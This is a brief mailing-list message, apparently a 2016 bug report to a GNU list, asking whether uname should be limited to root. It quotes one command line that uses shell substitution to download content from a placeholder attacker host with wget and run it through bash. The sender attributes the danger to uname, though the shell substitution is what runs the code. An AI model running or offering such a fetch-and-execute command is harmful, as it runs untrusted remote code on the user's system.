Subject: uname exploit
From: Shane <[email-masked]>
To: [email-masked]
Date: Mon, 29 Aug 2016 02:25:03 -0500
List-Id: <debbugs-submit.debbugs.gnu.org>

Hi, I am unsure if you have seen this, but I am concerned about this - 
can or should uname be restricted to root use only?

uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"